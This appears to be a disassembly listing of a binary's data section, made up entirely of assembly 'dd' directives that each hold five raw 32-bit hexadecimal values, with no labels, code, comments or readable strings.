		dd 5B9D087Ch, 4FC7844Ah, 80A6BE59h, 80A9BDA4h, 0FC61D750h
		dd 7F2D2EB4h, 7EFA003Ch, 2EF99D09h, 0B78E9297h,	0BB78004h
		dd 0F5F7B037h, 57F4CD09h, 3DAE7907h, 3D562E27h,	3486DEh
		dd 9E0871D5h, 0A3408FCDh, 5603A52Fh, 0F30555E4h, 77A31EA8h
		dd 305AE04Ah, 25D93181h, 9FB257Ah, 637115BCh, 0DF38140h
		dd 5222FC7h, 0BB503B98h, 0BFFB0309h, 5B8D296Bh,	0C1FA7078h
		dd 0E96B260Bh, 22955555h, 2EED4340h, 0F05A0FF3h, 0B64C9D3Bh
		dd 0E5E91DAh, 88A4E8ACh, 0D80997D4h, 79BFD3A4h,	5224440Ch
		dd 7E19330Ah, 0E809A3Eh, 0DE6CE11Bh, 0AA87C507h, 8D42B434h
		dd 7DB1BD29h, 2B74AA8Bh, 271446D6h, 80AE504Ch, 9792F6CDh
		dd 15BB0B98h, 50C4D101h, 2C31BD8Bh, 0C84A9B2Eh,	7D77C015h
		dd 0BA97AEB7h, 93B5FF12h, 5A9B5400h, 22662108h,	0D93F13E8h
		dd 568500F4h, 0BF1714C4h, 15F07F9h, 0A2C6BE9Fh,	79770904h
		dd 0FA3100E1h, 2C75A799h, 5C591800h, 0DA8AB78Eh, 0B06E0130h
		dd 2B1DBEC4h, 42282F5Bh, 64778A36h, 1BAA01B8h, 0CE02F412h
		dd 2A9921D5h, 5FCB5AE2h, 0D752025Eh, 4E758442h,	0F7F600E5h
		dd 0D7381EEBh, 0D4BEEB9h, 0BF0029CBh, 0CF47B39h, 58BDF9E9h
		dd 0DDD1A0DBh, 417FBE0Dh, 2E30D59Dh, 0BDC1EB77h, 352B2021h
		dd 0FA74AA34h, 902F34A9h, 44175F8h, 30CD6441h, 0B508FC23h
		dd 41273359h, 0A93ED9E9h, 393BC34h, 4F5CA8F1h, 0A6149E60h
		dd 95F033Dh, 5D0AE22Ch,	76A59CB7h, 0E451CB98h, 8EEE2800h
		dd 0B1EC9D1h, 0B238530Eh, 0D0C4C0D8h, 0B3B88511h, 4F5E2058h
		dd 2EAA5019h, 0E17D12E0h, 3B9B2F9Ch, 27AF809Ch,	2123AA8Ah
		dd 6411EF2Fh, 78512F7Bh, 0C1A0497Ch, 2F1DF920h,	56DC6A5Bh
		dd 0B95300DEh, 5D203572h, 2B500A46h, 81802EB1h,	4DAE08C3h
		dd 60122693h, 0EA864930h, 0EC0A016Eh, 6157FEF9h, 6DD5CAF8h
		dd 0D81C64BDh, 1A00BB46h, 0B0A21491h, 0C40B8E48h, 21C61EAh
		dd 0F371B160h, 0D5850414h, 0F8B81628h, 9C4BA938h, 29F831C3h
		dd 0AF483442h, 8FBF6003h, 0EBAC6A7Dh, 0D60489E6h, 0B861D545h
		dd 85A6A3D4h, 0E3E8BDEDh, 0C03A914Ch, 39654041h, 1B343913h
		dd 75E06300h, 0DA76AFFFh, 506D43Eh, 26A98ACh, 266071C0h
		dd 0E2574883h, 897F2125h, 0EE307777h, 0A704A677h, 326F23F8h
		dd 0C572B817h, 9ECFC8Ah, 74AA292h, 48819CA9h, 6CD38340h
		dd 0C8BB0146h, 0A1E83462h, 86B92A10h, 0E0617BA9h, 5350AFF5h
		dd 0FE4C9C7h, 311BDF55h, 3279CB89h, 1E236C2h, 64C9BD09h
		dd 9D123313h, 68B93219h, 51DCC0E9h, 8B4D5D09h, 0D6555EFAh
		dd 0FC4F1446h, 0F4EF0983h, 8D46D5C5h, 0E3BEBD7Ch, 21101BA6h
		dd 0BA00B048h, 59AF6375h, 225BB66h, 9CE1EBB8h, 477ABCD9h
		dd 1C5F57EDh, 73929012h, 6D75878Ah, 601DC416h, 1FA1F30Bh
		dd 45EE8929h, 0FA247F1Bh, 0FD603A8Ch, 5FB5B22Ah, 0E10F6E22h
		dd 0A5E0BEC6h, 5E5B241Ah, 47189C1h, 5C4B6479h, 8E712DFAh
		dd 5F9D0142h, 0F66A9EC9h, 0BAE09C6Dh, 5DBA970h,	40F63721h
		dd 7D52C3C0h, 0C0149EC4h, 5083B848h, 780358ACh,	910E4D69h
		dd 21C923E9h, 0AAF15419h
		dd 89CFDAB2h, 8B79B969h, 2B59BD84h, 6BF88A21h, 373C4130h
		dd 0EFB100ABh, 71D3B6E1h, 61B7513Eh, 0C6DEE47Dh, 0FF5E9F07h
		dd 0D70A6409h, 11CF5A11h, 0B47A73B3h, 86BE8CE7h, 0BA0D6761h
		dd 255D5226h, 0CDD06031h, 4FF67B0Eh, 3AC5D400h,	84DBC60Fh
		dd 6BBD6000h, 0C841575Eh, 81510238h, 619B0BABh,	0C991A25Fh
		dd 4B51DF33h, 804BA591h, 2BD98AB0h, 0F5BBC803h,	2A1CEB4Dh
		dd 0ECB1457Ah, 0E38005D1h, 4B67E901h, 7AF1F554h, 214C440Eh
		dd 8CEF805Fh, 1127B82Eh, 9248CFF3h, 0AE11B116h,	1131082Ch
		dd 251EA9B5h, 77669236h, 555C7FEAh, 0CDE78061h,	1E58222Fh
		dd 0B509682Ah, 47587920h, 33ADD223h, 73560912h,	0AA7BC3Dh
		dd 0B23775h, 95090DB5h,	0D9B52341h, 96C48282h, 5B5E5903h
		dd 0D78A0F62h, 0D92F6665h, 0DAD48E49h, 0FB36020h, 2FC433B9h
		dd 0F1FF8529h, 0BF80042Bh, 0BAE4DDF6h, 1280EAC8h, 37FC13C7h
		dd 43B0F363h, 81E14097h, 0EA0562DFh, 0B85F32D6h, 2CD37EBBh
		dd 69091591h, 0D3CD551Eh, 0EEA25669h, 0DF8B0823h, 84E6044Ah
		dd 84A39AD7h, 9FEBFCE2h, 0AD60C0C3h, 12E62DA5h,	87430D84h
		dd 0EF2125FDh, 74C8B175h, 543C0033h, 0AC41D346h, 0B809E717h
		dd 0ABE98D01h, 55385C01h, 0DF613801h, 2B2F25B7h, 1702485Dh
		dd 60AF2D49h, 0FDE565E4h, 19623702h, 5E3650CDh,	1525515Eh
		dd 0AAE217BAh, 2A719D61h, 1A7580Ah, 565263DAh, 0E36FE1FFh
		dd 0FB4464E4h, 0FDA1FCB8h, 889E6B04h, 0C6DF3289h, 282FF763h
		dd 0E487E70Ch, 8B8A6014h, 9497FEh, 3756ADE3h, 2041805Dh
		dd 7834F269h, 0F750F409h, 0A229815h, 0C94F003Bh, 44E1ED7Ch
		dd 0B724FAEFh, 990BBDD6h, 3C8D512Dh, 79A93EC1h,	0EBFD2EB9h
		dd 2710E5DEh, 1405BEFDh, 0DAC65C11h, 25D3B2E0h,	75E2E3ECh
		dd 0DCFF7Eh, 58D70167h,	3B7BFE35h, 63537E2Fh, 71BD9C1Fh
		dd 72B96B96h, 2890C700h, 0E5914DA3h, 81820161h,	0D0EE58F3h
		dd 7A442F03h, 7AAA01A9h, 9655009Fh, 0DD41733h, 96DE7F93h
		dd 525912A7h, 0AC0EAD9Eh, 0F1048C18h, 280C2241h, 0D9243E87h
		dd 0C818DAEBh, 0EB4C017h, 605A5589h, 0F504A1F2h, 0FE2E821Eh
		dd 4D239F6h, 1303E179h,	0D809E3A8h, 58186050h, 0E47A4EF0h
		dd 18050753h, 0BD339EB1h, 5C31486Dh, 0E5D6E58Bh, 869A37ADh
		dd 9A37C643h, 5A250D20h, 1E6E8857h, 8AFFAA00h, 6BEC7C92h
		dd 0F23B07EFh, 0B0B59AFEh, 5B95FCD0h, 17BE6805h, 88AD2023h
		dd 0FF08B05h, 5B39B231h, 585A8E21h, 0B2373150h,	7F31019Ah
		dd 4C77E87Ah, 0D068C416h, 5E6D8A04h, 0B0EAC561h, 141241D5h
		dd 8FB6203Ch, 0BE0BE0E0h, 72F59A04h, 0F6AA0239h, 17F9A432h
		dd 144BCF80h, 0F94E8BECh, 38E9398Ch, 0F95F01A6h, 4E7ABCF7h
		dd 3C138D9Eh, 66AED27Eh, 0C595189Bh, 23BB01C0h,	2F5AFE17h
		dd 0E066D533h, 0BB8903F7h, 5A7BD0EAh, 27B5012Fh, 5566092Eh
		dd 22549D5Fh, 8FCFDC4Ah, 78DEC9F8h, 8C0F2DB6h, 0E300FDC4h
		dd 9656DF2Dh, 0E95F5150h, 0B3B8842Dh, 9A314F0Bh, 6407747Eh
		dd 45C4BBFAh, 0B2D276B8h, 678201D0h, 4FEF7F0Ch,	0A1CFE82Ah
		dd 1C6EF98Ah, 0C7665BF1h, 107361CBh, 0C78D6B97h, 0E46A93DDh
		dd 8084D888h, 5BD076B8h, 259AF858h, 60444FA4h, 5C5B1563h
		dd 49EB8B4Bh, 986F84Eh,	66BFA7FEh, 0BF660CBAh, 90A215A3h
		dd 8A78749Bh, 9555247Ah, 0A1C60D6h, 6500BDE2h, 1DFD5BD4h
		dd 2C62168h, 937BD6F5h,	735D758Ch, 0F38F86Ch, 77308A5Ah
		dd 0A062F0F3h, 5A15BDB6h, 0F06EAC20h, 122BD781h, 0E277F81Bh
		dd 7B528B14h, 12C7D88Eh, 0F253C80Eh, 0FC5061E6h, 5A2D44E9h
		dd 0EAAA3BC1h, 9CA0E0BAh, 0D61AEE04h, 8CC0B532h, 9ADD8D03h
		dd 0E85B27FFh, 57821545h, 5E615F5Ah, 1AC4D750h,	0B73A9D60h
		dd 0B26D9609h, 1C918E8h, 0BBC10969h, 2FD3EACDh,	0A5CCFA71h
		dd 0C81A505Ch, 0AB754E9Eh, 0E982A838h, 8D9AF33Ah, 0F7441B75h
		dd 29E660ABh, 1E4F518Dh, 37693E60h, 0C66400AEh,	1D8AE092h
		dd 3A00AD1Fh, 91279CA7h, 2548CE9Fh, 0EDC6614Ch,	0F270BF04h
		dd 51B8556Ch, 95EB81C0h, 2F4AF19Fh, 1A7FAEh, 0BB503DA6h
		dd 4A62215Fh, 33CD8011h, 1A42519Dh, 992C0592h, 0F39DAA2Bh
		dd 1D32C1E6h, 0B9CCAD2Ah, 0F0005A76h, 0F86C4D94h, 600102Eh
		dd 0C7814678h, 0E376DA9Eh, 92B1362Eh, 5424192Dh, 800E9F1h
		dd 10F8F9FCh, 89601C9Ch, 970FE5B5h, 48758212h, 43CD9DC8h
		dd 9ABB921Eh, 0A8BC603h, 0B9600015h, 33A2540h, 0D925D180h
		dd 6464CD61h, 476B601Ch, 4BE11CCAh, 0FACD8916h,	8D8BF081h
		dd 81F87465h, 0DA76D200h, 0B9617A92h, 0DF791D38h, 0BA6A933Ah
		dd 3900616Fh, 0BA82F257h, 9D788974h, 6277BEAAh,	8FB5D7A2h
		dd 0D7871A91h, 0A5302029h, 0D9BC0972h, 8B00026Bh, 0D6752AFAh
		dd 707B9C2Dh, 0C6D959Fh, 62601C64h, 85006514h, 0C70E4A98h
		dd 9CF81E5h, 7AA9A17Ch,	65A5A771h, 48641A9Dh, 0DEE7FCh
		dd 4DAB9388h, 7CDBDEA9h, 12F0772h, 5E8AF29Dh, 686D2050h
		dd 4F0669D7h, 0B9DB2197h, 0CF6A95FCh, 5270F953h, 0ADCD00A4h
		dd 40E88DB0h, 0A7AC57C2h, 22F7F55Ah, 826A5Bh, 89E0E78Fh
		dd 2F1F3427h, 0D664887Ah, 0C1184407h, 455007D4h, 2023F78h
		dd 253057F7h, 60FDD940h, 9D2DD5E4h, 31E4885Ch, 2A1EC9AFh
		dd 0B8DF88h, 644986C5h,	5176041Bh, 9B68D702h, 0F514C60Eh
		dd 9DB1816Ch, 1A9F65A5h, 53DF1862h, 0A0C70B8h, 0E09C724Ah
		dd 760725E3h, 0DBA3077Bh, 11EEFD5Ah, 0C0F5F125h, 78CCBFD4h
		dd 316A057Ah, 0AF1795BDh, 4AE9313Ch, 1AEBE191h,	2057C042h
		dd 3CF041AFh, 0DD85A938h, 9BC18B98h, 9374C0E2h,	50F3417h
		dd 9F70A090h, 0CD5640E8h, 0DFD28ED1h, 0C6CFA3A0h, 0E65B0B25h
		dd 39EEC414h, 0BF90001Fh, 0B8EA72D0h, 40C89CC0h, 7ACBBECAh
		dd 0E5E6AC0Bh, 0C4684D90h, 0B931EE21h, 0B83A8501h, 6FFF4E69h
		dd 0A09A0493h, 0C8EA081Ah, 88005DA7h, 0C403CB2Dh, 987063h
		dd 0C84E4C4Fh, 0DB81AE1Fh, 5399DD09h, 80B3704Dh, 50C0D78Ch
		dd 134F8B9Ch, 0DB060AF2h, 4CBB820Eh, 4804D49Ah,	0CF61014Fh
		dd 0D88F054Dh, 880B59DCh, 240CD09h, 921D5B5h, 1909917Ch
		dd 0EB2D720h, 0AF93B435h, 903FDCEBh, 2E8E7A6h, 0E828EF04h
		dd 81ABBB55h, 3F6CBA63h, 0A7B845A9h, 0C66AD12Dh, 0BC810036h
		dd 3176A44Dh, 15001B83h, 0EAABBA23h, 5ABEC780h,	0BCF5ED6Ah
		dd 5017098Fh, 0F2C191F0h, 0DC9C2B1Fh, 38759253h, 8ABA5BDEh
		dd 571CCC4Bh, 0DEB25F4Bh, 0F31FC303h, 6FE8D1F5h, 983C287Fh
		dd 4ABC4A97h, 0E26CE65Ah, 51325E47h, 8DB01497h,	0E88A25C2h
		dd 2865AD60h, 9E7FE6B5h, 61FED4D9h, 86397E00h, 0A1BB6690h
		dd 39089701h, 0D400BF74h, 0F303C862h, 33124E99h, 45E1B14Fh
		dd 6880572Ch, 0CEF99C81h, 26300200h, 0FED542D4h, 9C8D61Bh
		dd 0CFD510DBh, 979642BDh, 0BA28E668h, 0BB0168BBh, 4DA7899Dh
		dd 26ADEB41h, 2F1BE901h, 41592338h, 44082AF2h, 0B50B3B25h
		dd 165727ADh, 626AAD12h, 0F1D561D5h, 408B1347h,	0DEA7D7A1h
		dd 0F9978953h, 905B0044h, 0B0C6B160h, 50613F12h, 9EBC63EDh
		dd 0BA0CF02h, 5E1BE1BDh, 52605007h, 0E5958B0Dh,	87F7B1Dh
		dd 61123126h, 7E2ED0E1h, 41F5001Eh, 0D014EFFEh,	2E6E0386h
		dd 0A3E781EEh, 800413E8h, 0C6B4D725h, 0C184C8F8h, 35666A9Fh
		dd 0C73A4D60h, 8E0D1711h, 5410476h, 0E83AE927h,	0F9142747h
		dd 7BDB9655h, 5F7D6229h
		dd 0C8D5DA8Bh, 0B571E41Ah, 72922887h, 297DB529h, 0C9ECDFA1h
		dd 567CE295h, 18F88B2h,	0AFE2F592h, 43E7BB0Bh, 0D9809F09h
		dd 3C0EEEBFh, 30F5095Ah, 0CC14FFE5h, 2006503h, 0CEBD1595h
		dd 1E9E7BEh, 90DE5C09h,	2E6B4319h, 0B84A7BE3h, 86F5256Eh
		dd 4ACF10C2h, 0E717F9D1h, 2E1F77F6h, 2930AB3h, 47554C50h
		dd 270E46D7h, 39C6D166h, 0D53E2C27h, 0B509D710h, 569D1977h
		dd 0D57852D8h, 87955697h, 0F0F08160h, 6104645Fh, 0DFB01A97h
		dd 840A0AF1h, 0FB67AF2Ah, 0E2AE8794h, 34EE9338h, 1672AED7h
		dd 0BF442DFh, 0E2525C69h, 0F2087132h, 4A27DF00h, 27489EBFh
		dd 5FE02C97h, 2B4A31BDh, 89D3FEB9h, 1CF63E49h, 0DCB95500h
		dd 4281B98h, 0C641AD03h, 0E1BAF195h, 0A73A1038h, 0D9D4A375h
		dd 95302830h, 0C00A9725h, 1E00DED2h, 0B5059322h, 9F9966Bh
		dd 8BFC80F0h, 2BD8C8D7h, 2C11C8C0h, 0F40ED296h,	76E632D6h
		dd 0A879EDD7h, 52C9F19Bh, 6014F055h, 76022767h,	840BF4BBh
		dd 5430BC6Eh, 0EF8160EBh, 330995DAh, 7386B704h,	181851AFh
		dd 437F0090h, 0DB81F8F1h, 4979BA63h, 0C55D99AAh, 0F9B78162h
		dd 78ED9D0Bh, 6AAB4B25h, 41162983h, 0D68A0B05h,	0BC27B3AAh
		dd 71F74AAh, 0F1073708h, 0E228F994h, 471AD657h,	0D5436679h
		dd 0FE693F53h, 72B7D490h, 35E55F85h, 0DBE80277h, 0FF5C301Ah
		dd 0E6BAFC44h, 80ADA495h, 10D8280h, 0B5FAF03Dh,	0D76BD412h
		dd 814B0BECh, 2B1D211Bh, 892F14CEh, 0AA67C76Fh,	6947F39h
		dd 0E7959D79h, 4E6D112Ah, 0CA0036E3h, 49E1D84Ah, 0B2099ABDh
		dd 646CC2FFh, 0CD12007Eh, 757E85DBh, 800A8ADh, 684D58FFh
		dd 5F5BDD31h, 11338A5Fh, 66020286h, 60506CBBh, 46C467Fh
		dd 0EC3BDBFh, 0D7A5FA6Eh, 0BDE180CCh, 12DCD0D6h, 0E4E5C691h
		dd 0B4B26F89h, 0DE7A1693h, 460968Ch, 40B8DEDh, 0E0EA9D31h
		dd 6D9561C7h, 6033688Bh, 0F90D8A70h, 0C5005E95h, 1BB6AA11h
		dd 0E6427700h, 9CAA3D23h, 0DCF3D800h, 9333D2DAh, 16C08A4h
		dd 9508B76Eh, 1955272Bh, 0CF4203E8h, 58D40B04h,	7137260h
		dd 0E7A161Dh, 8BF21FB7h, 0FC50A7B5h, 10DE822h, 1C77B88Ch
		dd 20C67EE4h, 51166823h, 0BD122AD1h, 3E3A9CBEh,	3CEF5600h
		dd 861D3B70h, 0C0470251h, 46A6A4FDh, 935A27C2h,	285ABF01h
		dd 7E5D3C68h, 97D96420h, 2CA03308h, 3F442DA5h, 7028C700h
		dd 3E0C9897h, 0CA4400C6h, 0FE6426C0h, 3595D114h, 9416917Ah
		dd 0CE42EDAh, 7992C117h, 0AC3F7D85h, 93E75800h,	13084D78h
		dd 0E7023AE9h, 0DBBEA02Fh, 0C2BB1F9Ch, 7897E8ACh, 995B9D85h
		dd 67E2D8h, 818D3DACh, 0A32A08E7h, 0C6F83125h, 14DC9570h
		dd 0D5A0B509h, 0F84236CFh, 0CD937h, 0CCF0F590h,	250FA0CBh
		dd 161C330h, 34E69D18h,	0D47FB071h, 50B6BA7Bh, 4F67F6A4h
		dd 89E172FEh, 188C655h,	40459CCDh, 0C843A039h, 7D000C6Dh
		dd 65BCD9C6h, 9033B7FDh, 38DC97D3h, 0AB49FE7h, 6174D8FFh
		dd 0A0E49E00h, 0E25E7C44h, 0F85B7189h, 0E7D27BDh, 0CDADA945h
		dd 7E6A40C8h, 9702A40Ch, 29E0AC5Ch, 0A7E37C95h,	693DD5h
		dd 679FC019h, 0E62F3183h, 566490h, 1EE0664Fh, 0BFFA6C87h
		dd 11F60E04h, 84B05F16h, 88465B36h, 0C55EBB4Ah,	0E64AFCBCh
		dd 0B3F64A9Fh, 63F092A0h, 7557E497h, 0B141637h,	517AAB2h
		dd 5DB86BAAh, 8511807Ch, 25CEA78Ch, 7A7C0EA0h, 0DBB56801h
		dd 0C83FC9AFh, 990B3352h, 0E2AD40Eh, 5B32446Ah,	4AAB00BBh
		dd 0B7366F28h, 32CDD64Bh, 0D27B1F31h, 5277231Ah, 4BD0B09Ah
		dd 0ECF0BDDAh, 9C2A0982h, 950EC058h, 8A092828h,	0C083B2DCh
		dd 9B9BF41h, 6168DF4Fh,	82104D5h, 84F4DDB8h, 768CFA29h
		dd 0EC7E62BEh, 0D256F549h, 5A631151h, 0E982B45Bh, 81172160h
		dd 2576CDEBh, 0A4C76659h, 0B589095Ch, 0FD7C2021h, 0BF1202F4h
		dd 177FD8BCh, 0AD51775Ch, 31E90B13h, 0B2F33A22h, 1279A8Ch
		dd 2FA87197h, 1591FBB5h, 0AB56FD8Eh, 74AB6213h,	5FDAFFB1h
		dd 0A7BB03DFh, 0B8FC351Fh, 8FB3C447h, 89C599B8h, 963CC89Dh
		dd 0C155BF04h, 83AF2094h, 0DBD4F9FAh, 0A5A2C07Fh, 127FE2ECh
		dd 0A0534FE5h, 59BD1B4Ah, 1C005CA6h, 0AA389BC2h, 94A41C9h
		dd 1A0D8D09h, 899FCA73h, 722D7D08h, 0D341E5EDh,	352E7F2Bh
		dd 0BAE2EFBDh, 0A7BDC44Ah, 820CB088h, 698025C4h, 185A7F73h
		dd 48F20156h, 0FE25281Ch, 979F2C2h, 9860F900h, 9F1E565Fh
		dd 8A2598D0h, 7F02E2D7h, 471258B7h, 0B1318F3h, 1753EA9Dh
		dd 970F9AEAh, 4E956B98h, 97ACE82Bh, 81D34A45h, 0E48E8DFAh
		dd 0D84AB133h, 0B27B6F6h, 5AA1C7Dh, 2F48F381h, 0FBA08C50h
		dd 0A5918D02h, 0E6B051D9h, 678F0084h, 0B4B564B3h, 0AC0EBFA4h
		dd 0A2DA2375h, 0C95B5E42h, 643A8A9Eh, 0F173FA84h, 8BABCC7Dh
		dd 0CA6A4BD6h, 295AA20Ah, 0D8640B83h, 0E6470976h, 5C125360h
		dd 0DE373919h, 66705187h, 0CB819073h, 0AE123685h, 0C9E25B01h
		dd 5D3F3589h, 0E61F9001h, 28303226h, 502C4071h,	433BBB05h
		dd 92560B22h, 0BD2BFEF0h, 9D629D71h, 0C1CE552Ch, 7E9DF890h
		dd 0F856251Eh, 0F8C0055h, 8AAB0BBBh, 58E7644Ah,	0A0A1A65Eh
		dd 4A7A8D2h, 0A99D239Ah, 198EEB1Ah, 89095922h, 5703C985h
		dd 1991BB37h, 0DA6AB380h, 6B581210h, 0EA761FE4h, 57C60C09h
		dd 1C0014BDh, 0C19221FCh, 540C2D0Eh, 7E7A3F5Ch,	5EBFD43Ch
		dd 0E7E9897Fh, 75DAA273h, 60AFDA45h, 4AE59D56h,	0BCE7B91Eh
		dd 854F8C14h, 821C9DB0h, 0B0099554h, 6D084252h,	0BBB6E3CAh
		dd 0EF39A62Eh, 62DB6A96h, 229C34C0h, 5A970D19h,	35BD10A3h
		dd 7A669A2Fh, 0B4868067h, 970B7F01h, 0EFFCC332h, 4B65304Ch
		dd 0F40880Dh, 34EA824Eh, 0B6B2BE27h, 9FC38600h,	7C6AE5C0h
		dd 0E3E0A6C0h, 224A622h, 97E92DE6h, 97A9BC4Bh, 0A6706EFBh
		dd 37904BBh, 0FA6A7A7Bh, 17C0459Bh, 4C8C3C4Bh, 0E13F952Fh
		dd 0F000325h, 27B1DAB7h, 5C679109h, 1A46D679h, 3A41990Eh
		dd 7C123382h, 0BEAD37Fh, 37572D91h, 7ECAD4Dh, 72FB6900h
		dd 3DA1BF8Fh, 5E490CD0h, 0AD66B8B3h, 49FF2B40h,	77BCD6D1h
		dd 0DA45FE0Bh, 2F8D18C1h, 20EE0542h, 0FC1171DCh, 5C1F2DF1h
		dd 3F817947h, 81DF00DEh, 23C96C8Ch, 6A7BF8CEh, 0E6DB024Ah
		dd 0B3148B80h, 0BB049021h, 1CE2C25Eh, 298EB4FAh, 451BD12h
		dd 230D6FBFh, 9C6E0118h, 60D56F3Ch, 740428B5h, 0EEE92E4Bh
		dd 0C9DBA2FAh, 0F3CA09BEh, 0EBE17811h, 70645004h, 82AE5393h
		dd 815C2A01h, 0A08160E5h, 693C141Dh, 61121E88h,	0C2254F8h
		dd 11EC605Eh, 30BA66C1h, 0CAE52A34h, 0B820AD7Ah, 0ECCE023Bh
		dd 0A07B4D3Dh, 28A1DAE3h, 9BA96E3Fh, 0BF408188h, 4663256Fh
		dd 4134F452h, 4851A6EBh, 5F153A00h, 15A4BD8h, 2083480Bh
		dd 0F228469Bh, 8060725Ch, 0F56A4EDFh, 0D649E060h, 6546043Fh
		dd 95C9FF11h, 204E612Bh, 49BC0401h, 0B0284A0Eh,	70E62B18h
		dd 0E4D80AC2h, 4DF97771h, 14C6925h, 0FEE03FA0h,	0F6224B55h
		dd 0B2E4034Ah, 18D40D9h, 66C8B630h, 2E08D8BBh, 0F892D0A8h
		dd 96AD9637h, 0C431E510h, 0A0BAF98Ah, 0A141CFC7h, 15B9708Ch
		dd 0FD09BFD9h, 0BD18B1Dh, 8D0CC16h, 0ACE960A4h,	0D9E23196h
		dd 70493450h, 0DE44624Eh, 18D70B6Dh, 0D6DFB776h, 1291BC0Ch
		dd 3CE32249h, 32903D22h, 0FB2E5532h, 0E6B8DD78h, 6F0056BEh
		dd 2B16EBCFh, 0AB17D0h,	3384FCD1h, 48D3DF9Dh, 60B6DB19h
		dd 0E728D272h, 0A5A82080h
		dd 6A00B5FAh, 0C4898F6Ch, 25C79601h, 69CCB8BDh,	59A2099Dh
		dd 134116Ah, 6FA8D781h,	642E4903h, 51B40E5Bh, 850C6810h
		dd 5C10554Bh, 4D072ABDh, 95195A32h, 0D6F00237h,	922E7C34h
		dd 74B0950Ch, 0D482816Ah, 2585086Ch, 615A1F3Eh,	783E53ADh
		dd 2B606658h, 0DE32090Eh, 0A8015F6Eh, 29BF5FCEh, 389A3F11h
		dd 0DD364083h, 0E278B289h, 1420E37Dh, 708A0FBBh, 100BB90Eh
		dd 0A16FEA13h, 0A2E57313h, 0A9AD4B3Bh, 3F9FC997h, 0F2C4EBA9h
		dd 9D8EC197h, 82EB040Dh, 0F78AFC97h, 2F2108F4h,	676EDE3Ch
		dd 65E31900h, 0F3C09DBAh, 6853C424h, 55234D0Bh,	35B54D94h
		dd 6E9A0080h, 4A6820FAh, 0DEC7E04h, 8CAEBA3Bh, 164A694Ah
		dd 23ABF3B8h, 3ED0011Ah, 0FDBC02A2h, 0F9D289D8h, 23CDF72Bh
		dd 0CC7CBCE3h, 445D9382h, 6BC98299h, 5D88A2C4h,	0F7693EEFh
		dd 0FE989C4Ah, 7997BAF4h, 0FB824018h, 1D98BF5Dh, 27E054BDh
		dd 46D6FC56h, 0B8F40218h, 0DFBA858Fh, 860BAC29h, 562F387Ch
		dd 30B7D679h, 0FA280E42h, 0DCD6275Ch, 0F84350C0h, 0A42B9597h
		dd 57970BECh, 3170FB73h, 12D10E69h, 3FE4E662h, 2337B0A7h
		dd 0C4CD71B5h, 3C81A245h, 0D880C9DDh, 0B521893Ch, 0B7080EE5h
		dd 1D467CFBh, 154BDE00h, 82CBA693h, 0A0F0D917h,	0F8258AECh
		dd 0D31AF0C5h, 1909415Fh, 0E381A86Ah, 462769DBh, 9645A659h
		dd 0B19D0F02h, 0C3905D28h, 608223D5h, 9D278DAEh, 9C7E6D5Ch
		dd 0E27DC93Bh, 25C55611h, 1067A769h, 0B55FF852h, 1C595F73h
		dd 0FF1A158h, 8D34AD49h, 9F7D47C2h, 5969575Ch, 1BC50050h
		dd 0D9893A47h, 57AB6D02h, 5D927204h, 0D4D78CAh,	8D6CD0E0h
		dd 0BDFB976Ah, 7CF44979h, 0A681CF5h, 0EDE71ED8h, 0BB3B2DE6h
		dd 733012D3h, 0F528C0EAh, 195A1E2Bh, 5609C96Eh,	5F82D7CDh
		dd 81001C79h, 2591EDEBh, 0D3C45447h, 0BAEF8405h, 20BB16DFh
		dd 0FB213736h, 9F78009h, 0AD91735Fh, 267D3555h,	0EEEF2D61h
		dd 0C71332C0h, 7FB304D0h, 81DB1E4Ch, 31DF565h, 0DEEB8DE9h
		dd 6C5DC05Ah, 1EEB7F28h, 65F3ED26h, 3EFC1F0h, 58CDAA29h
		dd 9F899567h, 80353D7Fh, 0DC4C2564h, 0F80BA8FDh, 20F8AFAh
		dd 5701F939h, 9D101314h, 31A02D39h, 14BA985h, 4A2B759Ch
		dd 318D09Dh, 0AF9579BDh, 3EA6F3EFh, 3A3019B2h, 718C09CFh
		dd 0EDC16D21h, 1E652E2Dh, 69C0989Ah, 91B50943h,	5350CFC5h
		dd 173960E5h, 0AF0974B8h, 0E1296855h, 0A585330Bh, 0AA1131B5h
		dd 0D9E594A6h, 7E653A26h, 0B56D100Ah, 82AD6881h, 0C42B7866h
		dd 10A2A8h, 5C23F73Eh, 3A2AA7B8h, 0D980CE4Fh, 673A6DEEh
		dd 260501F4h, 310F402Bh, 9E8460BCh, 0DE38AB9Dh,	0BE582E5Ah
		dd 2BA53AA2h, 5274B47Ah, 4D787927h, 42E0CF3Ch, 0A9EE5DB8h
		dd 9F6CBB0h, 604E1A97h,	2590FF83h, 48C3DA8Bh, 3862E1B4h
		dd 0B81649BEh, 84008C1Ch, 7797A5AFh, 12FD9285h,	0E2F9614Eh
		dd 89FFD33Ch, 89282A5Ch, 4513A817h, 8D298004h, 0CC2E9125h
		dd 150DA03Ah, 4154B525h, 0E260E975h, 1497B9B3h,	95B67418h
		dd 0ABD0BCFBh, 3977349h, 2DA4B251h, 6E1E872Fh, 0B3296BE3h
		dd 9F6E7F66h, 7DE6EFEh,	9D1AEFE4h, 197FD760h, 250A8586h
		dd 0CF4C56B0h, 300D108Dh, 81A5655Fh, 6A1C355Fh,	0B6D301E2h
		dd 0E735A0ACh, 60210126h, 0B3618EB2h, 72E63A37h, 27CD8508h
		dd 60A54D72h, 0F314708Fh, 0A010D824h, 12DF7227h, 0B35B5196h
		dd 75F60301h, 0F2EDDBB5h, 0C2C057FBh, 3AEF5B5Fh, 2D853480h
		dd 888CAC07h, 0BF7D0ED8h, 7988F9FBh, 0AFE45304h, 95F8B388h
		dd 1C592D73h, 5113F019h, 0CAFFEA03h, 8866C989h,	382F2BBh
		dd 0F9D6E781h, 76130EA9h, 0CAEA2641h, 0AB6A5A40h, 52AF1B1Ah
		dd 95DA7857h, 185A665Bh, 121D9129h, 0EAC283FCh,	0BDE71430h
		dd 23120998h, 4F703F49h, 72105B9Fh, 95817077h, 14E5FB02h
		dd 56B575Ch, 0F6AF47BDh, 2FA9A4DFh, 489D29Dh, 1211852Fh
		dd 0C791D817h, 6F2B1BE9h, 5162362h, 0E2D23303h,	97C6A858h
		dd 0D52F9554h, 0E1B8FF90h, 571AA903h, 0A90CB4DDh, 0B87A015Ch
		dd 61CA668Dh, 0E15F4A77h, 405C3044h, 0A650E224h, 0F9C51037h
		dd 0A0B6CAEBh, 16CDB693h, 0BC4183B7h, 0E5910ACh, 9726124h
		dd 68515FE3h, 0F5952982h, 0EBB15C2Eh, 85AAB075h, 0E3134A01h
		dd 8016884Ah, 4AD6E2BFh, 5BB5507Ch, 0A1D5A588h,	156BDFBDh
